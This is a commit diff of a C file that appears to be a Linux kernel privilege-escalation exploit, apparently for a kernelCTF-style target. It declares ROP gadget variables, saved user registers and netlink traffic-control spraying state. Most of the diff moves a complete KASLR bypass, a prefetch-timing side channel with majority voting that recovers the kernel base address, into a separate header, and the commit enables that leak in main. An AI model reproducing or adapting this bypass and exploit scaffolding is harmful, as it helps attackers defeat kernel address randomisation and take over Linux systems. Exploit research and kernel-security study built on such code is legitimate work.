|
26 | 26 | #include <sys/wait.h> |
27 | 27 | #include <xdk/core.h> |
28 | 28 | #include <xdk/postrip.h> |
| 29 | +#include "kaslr_bypass.h" |
29 | 30 |
|
30 | 31 | #define NLA_F_NESTED (1 << 15) |
31 | 32 | #define TC_HANDLE(maj, min) (((maj) << 16) | (min)) |
@@ -79,7 +80,6 @@ uint64_t stack_shift2_ret = 0; |
79 | 80 | uint64_t stack_shift5_ret = 0; |
80 | 81 | uint64_t xor_eax_jmp = 0; |
81 | 82 | unsigned long user_cs,user_ss,user_rsp,user_rflags; |
82 | | -uint64_t kaslr = -1; |
83 | 83 | static int spray_ifindex = 0; |
84 | 84 | pgv_frame_t pgv[2] = {}; |
85 | 85 | static char g_nl_buf[TC_MSG_BUFSIZE]; |
@@ -134,214 +134,6 @@ void setup_sandbox() |
134 | 134 | close(fd); |
135 | 135 | } |
136 | 136 |
|
137 | | -// KASLR bypass |
138 | | -// |
139 | | -// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h |
140 | | -// |
141 | | -inline __attribute__((always_inline)) uint64_t rdtsc_begin() { |
142 | | - uint64_t a, d; |
143 | | - asm volatile ("mfence\n\t" |
144 | | - "RDTSCP\n\t" |
145 | | - "mov %%rdx, %0\n\t" |
146 | | - "mov %%rax, %1\n\t" |
147 | | - "xor %%rax, %%rax\n\t" |
148 | | - "lfence\n\t" |
149 | | - : "=r" (d), "=r" (a) |
150 | | - : |
151 | | - : "%rax", "%rbx", "%rcx", "%rdx"); |
152 | | - a = (d<<32) | a; |
153 | | - return a; |
154 | | -} |
155 | | - |
156 | | -inline __attribute__((always_inline)) uint64_t rdtsc_end() { |
157 | | - uint64_t a, d; |
158 | | - asm volatile( |
159 | | - "xor %%rax, %%rax\n\t" |
160 | | - "lfence\n\t" |
161 | | - "RDTSCP\n\t" |
162 | | - "mov %%rdx, %0\n\t" |
163 | | - "mov %%rax, %1\n\t" |
164 | | - "mfence\n\t" |
165 | | - : "=r" (d), "=r" (a) |
166 | | - : |
167 | | - : "%rax", "%rbx", "%rcx", "%rdx"); |
168 | | - a = (d<<32) | a; |
169 | | - return a; |
170 | | -} |
171 | | - |
172 | | -void prefetch(void* p) |
173 | | -{ |
174 | | - asm volatile ( |
175 | | - "prefetchnta (%0)\n" |
176 | | - "prefetcht2 (%0)\n" |
177 | | - : : "r" (p)); |
178 | | -} |
179 | | - |
180 | | -size_t flushandreload(void* addr) // row miss |
181 | | -{ |
182 | | - size_t time = rdtsc_begin(); |
183 | | - prefetch(addr); |
184 | | - size_t delta = rdtsc_end() - time; |
185 | | - return delta; |
186 | | -} |
187 | | - |
188 | | -#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0])) |
189 | | - |
190 | | -int bypass_kaslr(uint64_t base) { |
191 | | - if (!base) { |
192 | | - #ifdef KASLR_BYPASS_INTEL |
193 | | - #define OFFSET 0 |
194 | | - #define START (0xffffffff81000000ull + OFFSET) |
195 | | - #define END (0xffffffffD0000000ull + OFFSET) |
196 | | - #define STEP 0x0000000001000000ull |
197 | | - while (1) { |
198 | | - uint64_t bases[7] = {0}; |
199 | | - for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) { |
200 | | - size_t times[(END - START) / STEP] = {}; |
201 | | - uint64_t addrs[(END - START) / STEP]; |
202 | | - |
203 | | - for (int ti = 0; ti < ARRAY_LEN(times); ti++) { |
204 | | - times[ti] = ~0; |
205 | | - addrs[ti] = START + STEP * (uint64_t)ti; |
206 | | - } |
207 | | - |
208 | | - for (int i = 0; i < 16; i++) { |
209 | | - for (int ti = 0; ti < ARRAY_LEN(times); ti++) { |
210 | | - uint64_t addr = addrs[ti]; |
211 | | - size_t t = flushandreload((void*)addr); |
212 | | - if (t < times[ti]) { |
213 | | - times[ti] = t; |
214 | | - } |
215 | | - } |
216 | | - } |
217 | | - |
218 | | - size_t minv = ~0; |
219 | | - size_t mini = -1; |
220 | | - for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) { |
221 | | - if (times[ti] < minv) { |
222 | | - mini = ti; |
223 | | - minv = times[ti]; |
224 | | - } |
225 | | - } |
226 | | - |
227 | | - if (mini < 0) { |
228 | | - return -1; |
229 | | - } |
230 | | - |
231 | | - bases[vote] = addrs[mini]; |
232 | | - } |
233 | | - |
234 | | - int c = 0; |
235 | | - for (int i = 0; i < ARRAY_LEN(bases); i++) { |
236 | | - if (c == 0) { |
237 | | - base = bases[i]; |
238 | | - } else if (base == bases[i]) { |
239 | | - c++; |
240 | | - } else { |
241 | | - c--; |
242 | | - } |
243 | | - } |
244 | | - |
245 | | - c = 0; |
246 | | - for (int i = 0; i < ARRAY_LEN(bases); i++) { |
247 | | - if (base == bases[i]) { |
248 | | - c++; |
249 | | - } |
250 | | - } |
251 | | - if (c > ARRAY_LEN(bases) / 2) { |
252 | | - base -= OFFSET; |
253 | | - goto got_base; |
254 | | - } |
255 | | - |
256 | | - logd("majority vote failed:\n"); |
257 | | - logd("base = 0x%lx with %d votes\n", base, c); |
258 | | - } |
259 | | - #else |
260 | | - #define START (0xffffffff81000000ull) |
261 | | - #define END (0xffffffffc0000000ull) |
262 | | - #define STEP 0x0000000000200000ull |
263 | | - #define NUM_TRIALS 7 |
264 | | - // largest contiguous mapped area at the beginning of _stext |
265 | | - #define WINDOW_SIZE 11 |
266 | | - |
267 | | - while (1) { |
268 | | - uint64_t bases[NUM_TRIALS] = {0}; |
269 | | - |
270 | | - for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) { |
271 | | - size_t times[(END - START) / STEP] = {}; |
272 | | - uint64_t addrs[(END - START) / STEP]; |
273 | | - |
274 | | - for (int ti = 0; ti < ARRAY_LEN(times); ti++) { |
275 | | - times[ti] = ~0; |
276 | | - addrs[ti] = START + STEP * (uint64_t)ti; |
277 | | - } |
278 | | - |
279 | | - for (int i = 0; i < 16; i++) { |
280 | | - for (int ti = 0; ti < ARRAY_LEN(times); ti++) { |
281 | | - uint64_t addr = addrs[ti]; |
282 | | - size_t t = flushandreload((void*)addr); |
283 | | - if (t < times[ti]) { |
284 | | - times[ti] = t; |
285 | | - } |
286 | | - } |
287 | | - } |
288 | | - |
289 | | - uint64_t max = 0; |
290 | | - int max_i = 0; |
291 | | - for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) { |
292 | | - uint64_t sum = 0; |
293 | | - for (int i = 0; i < WINDOW_SIZE; i++) { |
294 | | - sum += times[ti + i]; |
295 | | - } |
296 | | - if (sum > max) { |
297 | | - max = sum; |
298 | | - max_i = ti; |
299 | | - } |
300 | | - } |
301 | | - |
302 | | - bases[vote] = addrs[max_i]; |
303 | | - } |
304 | | - |
305 | | - int c = 0; |
306 | | - for (int i = 0; i < ARRAY_LEN(bases); i++) { |
307 | | - if (c == 0) { |
308 | | - base = bases[i]; |
309 | | - } else if (base == bases[i]) { |
310 | | - c++; |
311 | | - } else { |
312 | | - c--; |
313 | | - } |
314 | | - } |
315 | | - |
316 | | - c = 0; |
317 | | - for (int i = 0; i < ARRAY_LEN(bases); i++) { |
318 | | - if (base == bases[i]) { |
319 | | - c++; |
320 | | - } |
321 | | - } |
322 | | - if (c > ARRAY_LEN(bases) / 2) { |
323 | | - goto got_base; |
324 | | - } |
325 | | - |
326 | | - logd("majority vote failed:\n"); |
327 | | - logd("base = 0x%lx with %d votes\n", base, c); |
328 | | - } |
329 | | - #endif |
330 | | - } |
331 | | - |
332 | | -got_base: |
333 | | - logd("Using kernel base 0x%lx", base); |
334 | | - kaslr = base; |
335 | | - |
336 | | - return 0; |
337 | | -} |
338 | | - |
339 | | -__attribute__((constructor(101))) |
340 | | -void leak_kaslr() |
341 | | -{ |
342 | | - bypass_kaslr(0); |
343 | | - printf("[+] kernel base: 0x%lx\n", kaslr); |
344 | | -} |
345 | 137 |
|
346 | 138 | // loopback interface up |
347 | 139 | static void setup_loopback(void) |
@@ -1017,7 +809,7 @@ static long vuln_setup2(void) |
1017 | 809 |
|
1018 | 810 | int main(void) |
1019 | 811 | { |
1020 | | - //leak_kaslr(); |
| 812 | + leak_kaslr(); |
1021 | 813 | init_libxdk(); |
1022 | 814 | setup_kernel_address(); |
1023 | 815 | setup_env(); |
|
0 commit comments